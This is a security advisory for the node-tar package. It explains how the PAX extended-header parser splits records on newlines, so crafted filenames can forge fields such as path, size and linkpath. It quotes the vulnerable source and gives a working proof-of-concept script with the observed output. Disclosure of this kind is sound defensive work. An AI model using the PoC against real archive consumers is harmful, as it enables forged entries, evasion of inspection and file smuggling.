node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection
Published 2 Dec 2026 · Updated 2 Dec 2026
Affected package
- Affected
- >=7.5.0 <8.0.0
- Fixed in
- 8.0.0
npm install tar@8.0.0Which tar does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
node-tar parses POSIX pax extended headers by splitting the header body on every newline and validating each resulting line's length prefix, instead of consuming length-delimited records as the format specifies. A record whose value contains a newline (which occurs legitimately whenever an archived filename contains a newline) is mishandled two ways: the true record is dropped (the entry falls back to its truncated 100-byte header name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This is a cross-implementation divergence and an arbitrary PAX-field injection primitive (path, size, linkpath, mode, uid, gid, mtime) driven by a single attacker-controlled filename or crafted archive.
Details
// src/pax.ts:151-167
const parseKV = (str) =>
str.replace(/\n$/, '').split('\n') // <- splits INSIDE length-valid record values
.reduce(parseKVLine, Object.create(null))
const parseKVLine = (set, line) => {
const n = parseInt(line, 10)
// XXX Values with \n in them will fail this.
// Refactor to not be a naive line-by-line parse.
if (n !== Buffer.byteLength(line) + 1) return set // record dropped when its value contained '\n'
line = line.slice((n + ' ').length)
// ... a forged '<len> key=value' fragment is then ACCEPTED as a real record
}POSIX pax records are <len> key=value\n, where <len> counts the entire record including any newline inside the value. Splitting on \n breaks a record whose value contains a newline into fragments: the leading fragment fails the n === byteLength+1 check and is discarded, and a trailing fragment such as 24 path=forged-name.txt passes the check and is applied. The maintainer's own in-code XXX comment documents the limitation. A related facet in the same parser: numeric fields are coerced with JavaScript +v (src/pax.ts:196, 205), so size=0x10, size=1e3, size=1.5, and size=Infinity parse only in node-tar while GNU tar and Python tarfile reject or fall back, a separate three-way numeric divergence.
PoC
Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.
# create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n') # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n') # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS') # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X') # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .Observed reading /tmp/paxnl/gnu.tar:
GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t() : pathlen=100 size=14 (A: newline record dropped -> truncated)
pathlen=100 size=0 (C: forged size=0, true size 9)
pathlen=100 linkpath="a" (D: forged linkpath on a plain File)
pathlen=15 "forged-name.txt" size=9 (B: forged path applied)
node-tar x() : materializes 'forged-name.txt' on disk; A/C/D under truncated namesGNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).
Impact
Integrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary path, size, linkpath, mode, uid/gid, or mtime to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with preservePaths the forged path may be absolute or contain ... node-tar also cannot round-trip archives it writes itself when filenames contain newlines.
Is GHSA-rgjp-p5j7-w36x in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.
More advisories for tar
- HighCVE-2026-140234node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes · 2 Dec 2026
- HighCVE-2026-140236node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies · 2 Dec 2026
- MediumCVE-2026-140237node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling · 2 Dec 2026
- HighCVE-2026-140238node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows) · 2 Dec 2026
- HighCVE-2026-140239node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation · 2 Dec 2026
- HighCVE-2026-140240node-tar: A small archive exhausts memory or CPU through path-reservation bookkeeping · 2 Dec 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.